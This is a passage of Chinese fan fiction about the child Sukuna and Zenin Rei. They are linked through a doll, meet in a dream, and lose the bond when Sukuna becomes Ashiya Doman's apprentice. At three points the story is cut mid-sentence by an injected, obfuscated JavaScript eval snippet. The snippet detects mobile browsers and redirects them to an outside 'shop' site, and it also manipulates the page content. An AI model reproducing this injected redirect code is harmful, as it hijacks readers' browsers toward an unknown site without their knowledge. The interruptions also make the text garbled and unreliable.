她抿了抿唇,最后望了一眼几乎已经变成一个小白点的身影,转身,沿着来路,小心翼翼地朝半山腰的建筑走去。脚步有些匆忙,带着一种急于回到“安全”范畴(尽管那安全同样冰冷)的仓皇。 山风送来高处隐约的、几乎微不可闻的童声,平淡地落下,如同一片雪花融化在雪地里: “无趣。” “果然是……腐朽之处开出的小花。” --- 自那日高山会面后,“五条悟”这个名字,便以一种复杂而频繁的姿态,出现在了怜对着娃娃的絮语里。 有时是在夜晚,她抱着被“修复”后似乎更显“安宁”(或者说,更像个精致玩偶)的“小粉红”,望着窗外星空,语气里带着难以掩饰的、近乎本能的向往: “小粉红,你知道吗?那个五条悟,他的咒力……简直像是用不完一样。管家爷爷说,那是‘六眼’,几百年才出现一次呢。站在那里,好像……好像整个人都在发光诶,是因为他皮肤和头发太白了吗?”她的手指无意识地摩挲着娃娃冰凉的粉色头发,浅草绿的眸子里映着星光,也映着一丝她自己都未察觉的憧憬——那是弱者对绝对力量天然的好奇与仰视。 更多的时候,是带着各种小情绪的抱怨和嘀咕: “那家伙实在是太傲慢了!眼睛长在头顶上!跟他说话,就像跟一尊冰雕说话一样!”她鼓起脸颊,模仿着五条悟那平淡无波的语气,“‘神之妻,不应该也是某种意义上的神明吗?’——哼!谁稀罕当什么神明啊!莫名其妙!” “以前他们总是拿我跟直哉哥哥比,说我没有继承术式, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147163|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是废物……现在好了,又多出个五条悟!好像我生来就是为了被拿来跟这些怪物比较一样!”她的声音低落下去,抱着娃娃的手臂收紧,将脸埋进娃娃穿着小棉袄的胸口,闷闷地说,“可是……我怎么能跟他们比呢?直哉哥哥的投射咒法已经很厉害了,那个五条悟更是……我算什么呢?” 颓丧、无力、自我怀疑。这些情绪交织着,让她在提及“五条悟”时,语气变得异常复杂。那不仅仅是对一个强大同辈的单纯羡慕或嫉妒,更像是在一面过于明亮、以至于照出她所有黯淡的镜子前,所产生的无所适从与自惭形秽。 这些絮语,这些包含了崇拜、埋怨、嫉妒、颓废等丰富层次的情绪波动,都一字不落地,透过那神秘诡异的“共感娃娃”,传递到了遥远的平安京,那个刚刚从濒死烈焰中挣扎重生、身心都被剧烈冲突重塑过的幼童心中。 破败神社的焦尸早已被清理,建筑本身也被麻仓家的人勒令重建,之后便是正常的有人供奉的神社了,宿傩没法继续寄居,只能换了个住处,仍旧是郊区,但起码是个不漏风的地方。 他身上那些由流民造成的伤口,在那次神奇的“修复”后好得很快,丝毫没有留下痕迹,但他的内心却远未平静。 他依旧饥饿,依旧需要为生存挣扎,对人类的憎恨也未曾减少半分。但与此同时,那个“女童妖怪”(他依然如此认定)的存在感,却比以前任何时候都更加清晰和……“嘈杂”。 以前,她的声音多是委屈的哭泣、软弱的抱怨、或是幼稚的讲述。虽然烦人,但情绪基调相对单一。 可现在,“五条悟”这个名字的出现,带来了全新的、令宿傩感到莫名烦躁的变化。 在宿傩认知里,怜口中的“厉害”大概是指身份地位或别的什么,他无法具体想象“咒力像用不完”是什么概念,但不妨碍他捕捉到那份“正向”的憧憬。 埋怨和嫉妒倒是他能理解的,但不知道为何,承载着这份负面情绪的的对象,让宿傩觉得如鲠在喉。。 更让他不悦的是,怜语气中那种因为与“五条悟”比较而产生的、深刻的自我否定和颓废。“我算什么呢?”——这句话,连同其中蕴含的无力感,莫名地触动了宿傩某根敏感的神经。 他自己也常被拿来与非人的“鬼神”比较,被视作不祥、怪物。但他从不因此否定自身的存在。他恨,他要报复,他要变得比所有人都强,强到让那些轻视他、伤害他的人付出代价。可这个小妖怪……却似乎在这种比较中,一点点磨灭着自己的生气? 真是……没出息。 但这种“没出息”,却又和她因那个“五条悟”而产生的、罕见的正向情绪交织在一起,形成了一种让宿傩难以理解、更难以处理的复杂反馈。 他习惯了她的弱小、哭泣和依赖。那让他有一种扭曲的、掌控般的优越感,仿佛他是她灰暗世界里唯一(哪怕是诡异的)的光和温暖。可现在,她的世界里似乎投下了另一道更耀眼、更“正统”的光影,这让他感到一种领地被侵犯般的不快,以及一种……连他自己都未曾明晰的、微妙的危机感。 虽然他还是认定她是“非人”的妖怪,但不知不觉间,他已将她视作某种与自己命运相连的、特殊的“所有物”。而这个“所有物”的注意力与情绪,竟然被一个突然出现的、名字古怪(五条悟?什么怪名字)的小鬼吸引了如此之多。 烦躁。 宿傩靠在地窖冰冷的墙壁上,四只猩红的眼睛在黑暗中闪烁着幽光。他伸出手,看着自己依旧瘦小却蕴含着新觉醒的、黑暗力量的手掌,又仿佛透过虚空,看到了那个在遥远时空、抱着娃娃絮絮叨叨的浅草绿眼眸的女童。 “五条……悟……”他低声重复着这个名字,舌尖卷过陌生的音节,眼底掠过一丝冰冷的、如同野兽标记领地般的暗芒。 这个名字,连同它带来的、在怜心中激起的复杂涟漪,都被宿傩清晰地记下了。虽然此刻他还不明白这意味着什么,但这并不妨碍他将这个名字,划入了需要“注意”的范畴。 两个时空,两个孤独的灵魂,因为一个“五条悟”,在情感的涟漪上产生了新的、微妙的变化。 9. 宿傩9 五岁那年的秋天,空气里开始泛起些许寒意,禅院家古老宅院的夜晚,沉静而漫长。在这个寻常的夜晚,一场不寻常的梦,如同悄然渗入窗隙的月光,温柔而霸道地攫住了熟睡中的禅院怜。 梦境的开端模糊而混沌,仿佛被笼罩在一片柔和的金红色光晕里。当视野逐渐清晰,怜发现自己站在一片从未见过的、广袤而宁静的土地上。脚下是柔软湿润的、带着青草与泥土芬芳的草地,不远处,一条闪烁着星光的溪流无声蜿蜒。 但最引人注目的,是矗立在梦境中央的那棵巨大枫树。 它庞大到超乎想象,树干如青铜浇筑的古柱,虬结盘绕,直插云霄。树冠铺展开来,遮天蔽日,并非现实中春夏的翠绿或深秋的火红,而是一种梦幻般的、流动的金红与琥珀色交织,每一片叶子都仿佛由最纯净的光晕凝成,在无风的梦境中轻轻摇曳,洒下细碎温暖的光点。整棵树散发着古老、静谧又充满生命力的气息,像是一个独立于时间之外的、活着的传说。 怜赤着脚,踩在柔软的草地上,浅草绿的眸子睁得圆圆的,盛满了孩童纯粹的惊奇与赞叹。她穿着入睡时的素白单衣,墨黑的长发如最上等的绸缎,未经束缚,自然地披散在身后,几乎垂到脚踝,随着她好奇的走动而微微荡漾。 然后,她的目光,落在了枫树那无比粗壮、如同天然平台的虬结树根上。 那里坐着一个人。 一个看起来和她年纪相仿的男孩。 他背靠着古铜色的树干,四只手臂交叠在胸前,姿态带着一种与年龄不符的、刻意为之的冷漠与疏离。 他有着一头即便在梦境柔和光线下也显得格外醒目的、略显凌乱的粉色短发,发梢微微翘起。 脸庞是孩童特有的清秀轮廓,肤色是长期缺乏日照的苍白,但最令人无法移开视线的是他的眼睛——四只眼睛。正中的两只较大,是纯粹的、仿佛沉淀了血与火般浓郁不祥的猩红色;而在其下方稍外侧,还有两只小一些的、斜长的副眼,同样是猩红的色泽,这使得他整张脸平添了一种绝非人类的、诡异而危险的魅力。 他似乎正在出神,望着远处星光闪烁的溪流,猩红的四眸里空茫一片,映不出任何景致,只有一片深不见底的、属于他自己的孤寂世界。 怜的心跳,在看清那个身影的瞬间,漏跳了一拍。 一种难以言喻的、源自灵魂深处的熟悉感与亲切感,如同破土而出的春芽,瞬间淹没了她所有的陌生与迟疑。粉色的头发……四只手臂……四只红眼睛…… 是小粉红! 是她的小粉红!那个总是安安静静躺在她的软垫上、穿着她缝的小棉袄、被她抱在怀里倾诉一切的娃娃!虽然变大了,变成了活生生的、会呼吸的、看起来有点凶巴巴的“等身版”,但那五官,那特征,她绝不会认错! 巨大的喜悦如同温热的潮水,瞬间冲垮了梦境自带的朦胧与隔阂。怜甚至没有思考为什么娃娃会出现在梦里,还变成了真人大小,她只是遵循着内心最直接最纯粹的冲动——见到最心爱、最熟悉的“伙伴”的冲动。 “小粉红——!”她欢快地叫了一声,脸上绽开一个毫无阴霾的、灿烂无比的笑容。那笑容点亮了她瓷娃娃般精致却总带着怯懦的小脸,浅草绿的眸子弯成了月牙,里面盛满了纯粹的、失而复得般的快乐。 她迈开小小的脚丫,像一只归巢的乳燕,张开手臂,毫不犹豫地朝着树根上的男孩扑了过去! 宿傩在听到动静、看到一个陌生的、衣着奇特(那素白单衣的样式是他从未见过的简洁)的黑发女孩朝自己跑来时,猩红的四眸瞬间从空茫转为锐利的警惕。 他下意识地绷紧了身体,四只手臂从环抱的姿势转为微微张开,仿佛随时准备防御或攻击。粉色的发梢似乎都因这戒备而微微炸起。 是谁?怎么会出现在他的“地盘”(尽管是梦里)?是新的敌人?还是山林里其他精怪的幻化? 然而,女孩眼中那毫无掩饰的、纯粹的喜悦和熟悉感,却让他感到一种诡异的违和。那双眼睛……浅草绿,鲜艳明媚得如同春日最早萌发的新叶,在梦境的光线下,仿佛真的能自己发光。雪白的皮肤,精致得不像凡间产物的五官,瀑布般的黑发……这是一个漂亮得过分,也陌生得过分的女孩。 可为什么……她看着自己的眼神,像是在看一件失而复得的珍宝?还喊着奇怪的名字? 没等他想明白,女孩已经扑到了近前,带着一股温暖的、干净的气息,不由分说地,用小小的手臂紧紧抱住了他——抱住了他真实存在的、属于“宿傩”的身体! “!” 宿傩整个人都僵住了。 温软的触感,真实的体温,还有那毫不设防、充满依赖的拥抱力道……这一切都太过真实,远超之前任何一次模糊的“感知”。他瞬间忘记了思考,身体先于意识做出了反应——挣扎。 “放开我!”他低吼,声音还带着孩童的稚嫩,却努力压出凶悍的味道。四只手臂试图推开怀里的温暖躯体,但动作却显得有些笨拙和迟疑,仿佛那温暖本身带着某种让他本能不愿立刻粗暴挣脱的魔力。“你是谁?!快放开!” 怜被他的挣扎和低吼弄得愣了一下。她抬起头,浅草绿的眸子里充满了困惑,像是不明白自己最心爱的“娃娃”为什么会抗拒自己。她眨了眨眼,长长的睫毛像蝶翼般扑扇,近距离地仔细看着宿傩那张写满别扭和警惕的小脸。 然后,那困惑迅速被更大的惊喜取代。 “小粉红!”她的眼睛更亮了,像是发现了新大陆,用手指轻轻戳了戳宿傩紧绷的脸颊,触感温热真实,她不由雀跃,“你会说话!你会动!还会凶人!跟梦里一样!”在她的认知里,梦里的一切都是可能的,而她的娃娃在梦里变成了会说话的“放大版”,简直是天大的惊喜。 “小粉红?”宿傩捕捉到了这个称呼,挣扎的动作猛地停住。他深深地、带着审视和强烈探究意味地凝视着近在咫尺的这张小脸,凝视着那双鲜艳的、仿佛能照进人心底的浅草绿眼眸。 这个称呼……这个声音……还有这种毫无理由的亲近和熟悉感…… 一个不可思议的猜测,如同闪电般劈开他混乱的思绪。 他不再挣扎,任由女孩抱着(虽然姿势依旧别扭),四只猩红的眼睛一眨不眨地锁住她,声音里带着一丝自己都未察觉的、微妙的紧绷和迟疑: “你……是那个‘妖怪’?” 那个会给他疗伤、喂食、絮絮叨叨、声音稚嫩的女童“妖怪”? 怜听到“妖怪”这个词,困惑地歪了歪头,黑发如瀑般滑向一侧。她想了想,很认真地纠正道:“我不是妖怪哦。”然后,她脸上露出一点小小的、混合着腼腆与理所当然的神情,清晰地说道: “我是个咒术师。” “一个……没什么本事的咒术师。” “咒……术师?”宿傩下意识地重复这个完全陌生的词汇。音节在舌尖滚动,带着奇异的重量和未知的意味。 然而,没等他细问,也没等怜再解释什么,梦境的金红色光芒开始剧烈地波动、摇曳。巨大的枫树、闪烁的溪流、柔软的草地,连同怀中女孩温暖真实的触感和那双浅草绿的明亮眼眸,都如同被投入石子的水中倒影,迅速变得模糊、破碎、消散。 “等——”宿傩下意识地想伸手抓住什么,但指尖只掠过一片虚无的光影。 --- 废弃地窖的角落里,宿傩猛地睁开了眼睛。 四只猩红的眼眸在黑暗中骤然亮起,里面没有丝毫初醒的朦胧,只有一片清醒到锐利的冰冷。身下是粗糙冰冷的稻草,空气中弥漫着地窖特有的土腥和陈腐气息。没有金红色的枫树,没有星光溪流,更没有那个黑发绿眼、自称“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147164|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒术师”的女孩。 是梦。 一个清晰得可怕的梦。 他缓缓坐起身,靠向背后冰冷的土壁。梦中的每一个细节——女孩的样貌、声音、触感、眼神,尤其是最后那句清晰的“咒术师”——都如同用烧红的烙铁,深深印刻在他的脑海,鲜明得几乎不像虚幻。 他没有轻易地将这当作一个荒诞无稽的梦魇抛之脑后。 “咒术师……”他低声念着这个词,眉头紧蹙。平安京的时代,拥有特殊力量、能够驱使式神、施展咒法、祓除灾厄的人,被称为“阴阳师”。而其中走向邪路、使用力量害人的,则被蔑称为“诅咒师”。他从未听过“咒术师”这个称谓。 但那个女孩说得如此自然,如此笃定。 一个大胆的、近乎疯狂的猜想,逐渐在他早慧而多疑的心中成型:那个一直被他认为是“女童妖怪”的存在,或许……并非精怪,而是和他一样,拥有特殊力量的人类?只是她所在的地方或者时代,对这种人的称呼不同? 她是“咒术师”。 那他呢?他这身刚刚觉醒的、充满毁灭性的黑暗力量,又算什么?咒术师?还是……“诅咒师”? 更重要的是,如果她真的是人类咒术师,而非虚无缥缈的山野精怪,那是不是意味着……她有可能存在于某个真实的、他可以触及(至少理论上)的地方?这个梦,是否是某种跨越了不可思议距离的、真实的联结?那棵巨大的枫树,又代表着什么? 无数疑问和推测在他脑海中激烈碰撞。他仿佛抓住了一根细若游丝、却可能通往真相的线索。他想要找到她。不是作为需要投喂和照拂的“所有物”或“怪异恩人”,而是作为一个……需要被弄清楚的、与自己命运神秘纠缠的“同类”?或者,仅仅是作为一个可能解答他自身存在谜题的“线索”。 平安京的夜色依旧深沉。地窖外传来野狗远吠和更夫模糊的梆子声。宿傩却再无睡意。他抱膝坐在黑暗里,四只猩红的眼眸在阴影中闪烁着幽深而执拗的光,反复咀嚼着“咒术师”这三个字,如同饥饿的兽类舔舐着意外发现的、带着血腥味的踪迹。 --- 与此同时,禅院家的晨光刚刚透过纸窗,温柔地洒进怜的房间。 怜在柔软的被褥里醒来,眨了眨还有些惺忪的浅草绿眸子。梦境残余的温暖和快乐,如同甜美的蜜糖,依然包裹着她的心绪。她坐起身,第一眼就看向矮几上安静坐着的“小粉红”娃娃。 想起昨晚那个清晰有趣的梦,她忍不住“噗嗤”一声笑了出来,脸上露出两个浅浅的梨涡。 “小粉红,小粉红!”她爬过去,小心翼翼地将娃娃抱进怀里,像分享一个最有趣的秘密,凑到娃娃冰凉的小耳朵边,声音轻快又带着未散的睡意呢喃,“我昨晚梦到你啦!” “梦里的你变得好——大!跟真人一样大!”她用手比划着,眼睛亮晶晶的,“会说话,还会凶巴巴地让我放开你,表情可别扭了!”她模仿着梦里的情景,皱了皱小鼻子,做出一个自以为很“凶”的表情,然后又自己乐不可支地笑起来。 “不过,梦里的你抱起来暖暖的,跟真的娃娃一样。”她将脸颊贴在娃娃穿着棉袄的小小肩膀上,满足地蹭了蹭,“虽然最后还是消失了……但那个梦真的好开心呀。” 对她而言,那只是一个关于心爱娃娃的、格外真实有趣的梦境。是独属于她和小粉红之间的、甜蜜的秘密。她全然不知,这个梦在遥远的另一端,激起了怎样的波澜与决意,更不知“咒术师”这三个字,如同投入平静湖面的石子,在另一个孤独而敏锐的灵魂心中,激起了追寻与探究的无限涟漪。 一个视之为欢乐好玩的美梦,一个视之为至关重要的线索与启示。梦境的双生面,映照着两个灵魂截然不同的境遇与认知,却也悄然将他们的命运,向着更深、更不可测的纠缠,推进了一步。 10.宿傩10 宿傩诞生于平安京的第七个春天,春风并未给他带来太多暖意,他依然游荡在都城边缘的灰色地带,像一株生长在阴影与瓦砾间的毒草,靠着那点非人的力量和对世界冰冷的恨意,顽强却也孤绝地存活着。 与“女童咒术师”在枫树下的那次梦中相遇,如同一颗投入深潭的奇异石子,涟漪虽已平息,却让他心底某个角落,始终盘踞着一种微妙的、不甘的探寻欲。他留意着任何与“咒术”相关的蛛丝马迹,虽然收获寥寥。 这天,他在城郊一处偏僻的树林边缘,试图用自己那粗糙却暴烈的黑暗咒力点燃一堆湿柴(模仿梦醒后反复琢磨的“精准”概念,但收效甚微),一个声音突兀地在他身后响起。 “啧啧,暴殄天物啊。” 宿傩猛地转身,四只猩红的眼睛瞬间锁定来者,身体下意识进入戒备状态。那是一个看起来……颇为潦倒的老者。 他的衣衫是洗得发白、打着多处补丁的旧直垂,脚上的草鞋破了个洞,露出黢黑的脚趾。 头发花白而凌乱,用一根枯树枝随意挽着,脸上皱纹深刻,像是被风霜与岁月反复犁过。腰间挂着一个脏兮兮的布袋和几个空空的小竹筒,手里还拄着一根歪歪扭扭的木杖。 整个人看起来,比平安京最落魄的乞丐好不了多少,甚至还不如某些收拾得齐整些的流浪汉。 宿傩眼中立刻流露出毫不掩饰的嫌弃。他虽然也是流浪儿,栖身破败地窖,但骨子里有种近乎偏执的洁癖(或许是受那个总让他感觉“干净温暖”的女童影响,或许只是生存本能对污秽的排斥)。他总会设法找到干净的水源清洗自己,即便衣服破旧,也尽量保持整洁,身上甚至常年带着一种奇异的、混合了森林草木与某种冷冽气息的微香。眼前这个邋遢老者,简直是对他审美的挑战。 “关你何事?”宿傩冷冷道,四只手臂微微下垂,暗红色的咒力在指尖若隐若现。 老者——芦屋道满,似乎完全没在意他的敌意和嫌弃,反而饶有兴致地上下打量着他,浑浊的老眼里闪过一丝不易察觉的精光。 “四手四眼……天生的‘异相’,根骨里流淌的咒力……桀骜不驯,又磅礴无比。”他咂摸着嘴,像是品评一块未经雕琢的璞玉,“有趣,实在有趣。小子,你可愿拜我为师?” 拜师?跟这个老乞丐?宿傩几乎要嗤笑出声。他正想嘲讽,道满却像是看穿了他的心思,也不见他如何动作,只是伸出枯瘦的手指,凌空对着不远处一棵碗口粗的树木,轻轻一点。 “炎之火箭。” 一道凝练到极致、呈现出炽白色的纤细火线,无声无息地从他指尖激射而出!速度奇快,破空时只带起一丝微弱的热浪尖啸。 “噗!” 火线精准地没入树干中心。 下一瞬,那棵树木从内部猛地爆发出耀眼的火光!没有火星四溅,没有引燃周围的枯草落叶,甚至没有剧烈的爆炸声。只是那棵树木本身,如同被最纯净的烈焰从内而外瞬间吞噬,木质结构在高温下迅速碳化、崩解,化作一团剧烈燃烧却范围控制得极好的炽白火球! 几个呼吸间,火球熄灭。原地只剩下一小堆颜色焦黑、质地酥松的灰烬,以及一个浅坑。而那棵树周围的其他草木,甚至距离最近的一片草叶,都完好无损,连被高温炙烤的卷曲痕迹都几乎没有。 宿傩脸上的嫌弃和即将出口的嘲讽,瞬间僵住了。 四只猩红的眼睛直勾勾地盯着那堆灰烬和周围完好无损的环境,瞳孔深处难以抑制地流露出震惊,以及一丝……被深深吸引的灼热光芒。 这种力量!不是他那种依靠庞大咒力和恨意引燃、范围难以控制、敌我不分的毁灭烈焰。而是将狂暴的火焰压缩到极致,精准地送入目标核心,实现最高效的破坏,同时将不必要的波及降到最低。就像……用最锋利的针,刺入最要害的穴位。 他想要这种力量。这种能将他的恨意和毁灭欲望,以更有效率、更受控制的方式宣泄出去的力量。 但他嘴上依旧不肯服软,强自镇定地哼了一声,抬了抬下巴,努力让声音听起来满不在乎:“这样的火焰……我也能做到。而且,火势更大。”他指尖凝聚起一小团跳跃的、不稳定的暗红色火苗,试图证明自己。 道满看着他手中那团充满戾气却明显粗糙的火苗,哈哈大笑起来,笑声洪亮,震得林间栖鸟惊飞。“火,可不是越大越好啊,小子。”他收敛笑声,浑浊的眼睛看着宿傩,带着一种历经世事的深邃,“真正难的,是让火焰听你的话。让它只烧你想烧的,不伤你不想伤的。精准,控制,这才是驾驭力量的关键。” 宿傩的目光再次落向那棵消失的树和周围安然无恙的草木。确实……极度精准。他沉默了片刻,心中的警惕并未完全放下。天下没有免费的午餐,尤其是在这残酷的世道。 “代价呢?”他抬起头,四只眼睛紧紧盯着道满,声音低沉而直接,“收我为弟子,你想要什么代价?或者说,我需要付出什么?” 道满眼中精光更盛,抚掌而笑:“好!好!小小年纪,就知道‘代价’二字。看来你将来,注定要立下不少‘契约’啊。” 宿傩没完全听懂他话中关于“契约”的深意,但他基于在贫民窟和底层摸爬滚打的经验,无比确信“等价交换”的铁律。美貌游女用青春换金钱,豪客用金钱买欢愉,连寺庙的香火钱,据说也能换来神佛的庇佑(虽然他从不信神佛)。善意?尤其是这种涉及传承力量的“善意”,必然标好了价格。 除了……那个“女童咒术师”。她的给予似乎毫无索求。但宿傩将此归因于她身处“被家族庇护(同时也欺压)”的环境,天真不知世事险恶,或者她所给予的“食物”和“温暖”对她而言微不足道。 道满看着他眼中毫不掩饰的算计和警惕,也不再绕弯子,直接道:“老夫唯一的要求,便是他日,无论老夫站在哪一边,与何人为敌,你这做弟子的,须得站在老夫这一边。” 他顿了顿,语气里透出一丝复杂的意味,“老夫芦屋道满,与其说是阴阳寮认可的‘阴阳师’,不如说……更接近民间所说的‘诅咒师’。”他拍了拍腰间的脏布袋,“为了生计,也为了某些……理念,诅咒当朝权贵、与人斗法结怨,都是常事。如今,老夫最大的对头,便是阴阳寮里那位如日中天的天文博士——安倍晴明。” 宿傩对阴阳寮、安倍晴明这些名字并无概念,但他听懂了“诅咒师”、“对头”、“斗法”这些关键词。这意味着风险,意味着他一旦拜师,就可能被卷入眼前这个邋遢老头的恩怨之中,与一个听起来很厉害的“天文博士”为敌。 道满似乎看出他的权衡,也不催促,只是拄着木杖,望着林外隐约可见的平安京轮廓,缓缓道:“安倍晴明……不过二十余岁,天赋却惊世骇俗。老夫与他数次斗法,皆落下风。”他语气平静,并无太多不甘,只有一种事实陈述的苍凉,“老夫寻弟子,一是想找个传承,二是……确实需要个帮手。利弊如何,小子,你自己掂量。” 宿傩飞快地思考着。拜师,能获得这种精准控制力量的方法,能变强,但也要背负老头的仇敌和风险。不拜,继续自己摸索,力量增长缓慢且难以控制,生存依旧艰难。 他需要力量。需要足以自保、足以报复、足以……在未来某天,或许能凭借这力量,去探寻那个“咒术师”女童所在的真实世界的力量。 风险?他本就一无所有,活在刀尖上。仇敌?多一个少一个,区别不大。安倍晴明?听起来很厉害,但那又如何? 变强的诱惑,压倒了对未知风险的忌惮。 “好。”宿傩深吸一口气,抬起头,四只猩红的眼睛直视道满,清晰地吐出一个字,“我答应。” 然而,就在他话音落下的瞬间—— 一种极其诡异、仿佛源自灵魂深处的“断裂感”,毫无征兆地袭来! “咔嚓……” 不是耳朵听到的声音,而是直接响彻在意识深处,如同维系着某种至关重要之物的、最坚韧也最纤细的丝线,被无形的剪刀,干脆利落地剪断了! 宿傩浑身剧震,心脏像是被一只冰冷的手狠狠攥住!他猛地捂住胸口,四只眼睛惊疑不定地扫视四周虚空,脸色瞬间变得苍白。刚才那是什么感觉?仿佛有什么与他性命攸关的联系……突然消失了?不,是断掉了! 是什么?是那个“女童咒术师”的联结吗?因为自己选择了与这个诅咒师立下契约? 一种前所未有的心悸和冰冷的不安,瞬间淹没了他。 --- 禅院家,怜的房间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151153|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 春日午后的阳光透过格窗,在地板上投下明亮温暖的光斑。怜正跪坐在矮几前,面前摊开着一本简单的童蒙读物,但她明显心不在焉,浅草绿的眸子时不时飘向旁边安静坐着的“小粉红”娃娃。 自从那个关于“等身抱枕娃娃”的美梦之后,她对着娃娃说话的时间更长了,总是忍不住想象娃娃如果真能变大、会说话、会动该多好。虽然娃娃依旧安静,但她总觉得,她和它之间,有种说不清道不明的、更深切的联系。 “小粉红,今天字帖好难写……”她小声抱怨着,伸手习惯性地想去摸摸娃娃穿着靛蓝色小棉袄的手臂。 就在她的指尖即将触碰到娃娃冰凉“皮肤”的前一刹那—— 异变陡生! “咔……咔嚓嚓……” 一阵极其细微、却令人头皮发麻的碎裂声,毫无预兆地从娃娃身上传出! 怜的手指僵在半空,浅草绿的眸子骤然瞪大。 只见那一直完好无损、甚至被反转术式“修复”后显得更加润泽的娃娃“身体”表面,从心口位置开始,毫无征兆地浮现出第一道细如发丝的黑色裂纹! 紧接着,如同被投入巨石的冰面,那道裂纹瞬间疯狂蔓延、分叉!第二道、第三道……无数道黑色的蛛网状裂痕,以惊人的速度遍布娃娃全身!从脸颊到四肢,从躯干到那四只紧闭的猩红复眼!裂纹深邃,仿佛要将娃娃从内部彻底割裂! “不……不要……”怜的呼吸停滞了,大脑一片空白,只能发出微弱的气音。 下一秒,更加骇人的一幕发生了。 那些密布全身的黑色裂痕处,并没有渗出“血液”或其他东西,而是……开始崩解! 如同风化了千年的陶俑,又像被无形之力从内部摧毁的精巧机关,娃娃的身体沿着那些蛛网裂痕,无声无息地、却又势不可挡地碎裂开来!先是细小的碎屑剥落,然后是大块的“肢体”断裂、分离! 怜彻底惊呆了,浅草绿的瞳孔紧缩到极致,浑身冰冷,连颤抖都忘了。她只能眼睁睁看着,看着那个陪伴了她整个童年、倾注了她所有孤独情感与温柔想象的“小粉红”,在她面前,一寸寸地化为齑粉! “小粉红……小粉红!!!” 迟来的尖锐悲鸣终于冲破了喉咙,带着撕裂般的绝望。她猛地扑过去,伸出颤抖的双手,徒劳地想要接住那些飘落的碎屑,想要将正在崩解的娃娃拥入怀中挽留! 然而,她的手指触及的,只有冰凉的、迅速消散的细碎残渣。那些碎片在脱离主体后,竟然如同阳光下的冰雪,以肉眼可见的速度变得透明、虚化,最终彻底消失在空气之中,连一点尘埃都未曾留下。 短短几个呼吸之间。 矮几上,只剩下一小片空荡荡的软垫。空气中,残留着一丝极淡的、娃娃身上特有的冷香,也正迅速飘散。 什么都没有了。 陪伴她的粉色头发、四只红眼睛、靛蓝色小棉袄……她唯一的朋友、听众、寄托……她整个灰暗童年里唯一一抹有温度的亮色……就这么凭空地、彻底地、在她眼前碎裂、消失了。 巨大的、无法承受的失去感,如同海啸般彻底淹没了五岁的禅院怜。她瘫坐在空荡荡的软垫前,浅草绿的眸子空洞地大睁着,眼泪如同决堤的洪水,汹涌而出。 起初是无声的、剧烈的抽噎,胸腔因窒息般的痛苦而剧烈起伏,随即,一声穿透房梁、凄厉到不似人声的嚎啕大哭,猛然爆发出来! “呜……啊啊啊啊——!!!” 那哭声里充满了孩童最纯粹的、被夺走至宝的绝望与崩溃,也仿佛预示着她那扇通往天真幻想与情感依赖的门,在这一刻,被残酷地、永久地关闭了。 那一天,禅院怜失去了“小粉红”。 她的童年,似乎也随着那堆消失的碎屑,一同仓促地、狼狈地、结束了。 而遥远的平安京林间,刚刚与芦屋道满立下师徒契约的宿傩,捂着仍在隐隐抽痛、仿佛空了一块的心口,望着眼前邋遢却深不可测的老者,猩红的四眸深处,除了对力量的渴望,也悄然埋下了一丝连他自己都未曾完全理解的、冰冷的空洞与疑虑。 联结已断。 各自的道路,在命运的分岔口,朝着截然不同的黑暗与孤独,蜿蜒而去。 11.宿傩11 清晨的光,是冷的。 它穿过和室古老的木格窗,被切割成一道道倾斜的、边缘锐利的光柱,斜斜地打在跪坐在镜前的少女身上。灰尘在光里翻滚,清晰可见,像是光碎裂后的粉末。 禅院怜面朝着光,手中握着一把乌木梳,正一丝不苟地将那头长及腰际、漆黑如子夜深海般的头发拢向脑后。她的动作很慢,带着一种近乎仪式感的沉静,仿佛每梳理一下,都是在整理某个看不见的、沉重的东西。 发丝过于丰沛柔顺,握在手里像一捧凉滑的泉水,最终被束成一个简洁而利落的高马尾,露出光洁饱满的额头和修长脆弱的脖颈。 她身上穿着的并非传统和服,而是一套剪裁精良、面料特殊的纯黑色校服。 上衣是立领排扣的西装款式,纽扣是哑光的黑色,线条笔挺,微微反着晨光,却无半分张扬,只有一种沉肃的、近乎禁欲的气息。 下身是同色的百褶裙,裙摆及膝,露出包裹在黑色高筒靴里、线条纤细却笔直的小腿。靴子是软皮的,光洁,鞋跟不高不低,恰好契合行走与格斗的需要。 接近一米七的身高在女性中绝不算矮小,甚至称得上高挑,但或许是那身全然的黑,衬得她裸露在外的皮肤有种近乎病态的冷白,质地宛如上等的白瓷,光洁,细腻,却仿佛一触即碎。 常年不见天日的苍白,在她身上凝结成一种极具欺骗性的、脆弱易折的视觉印象。 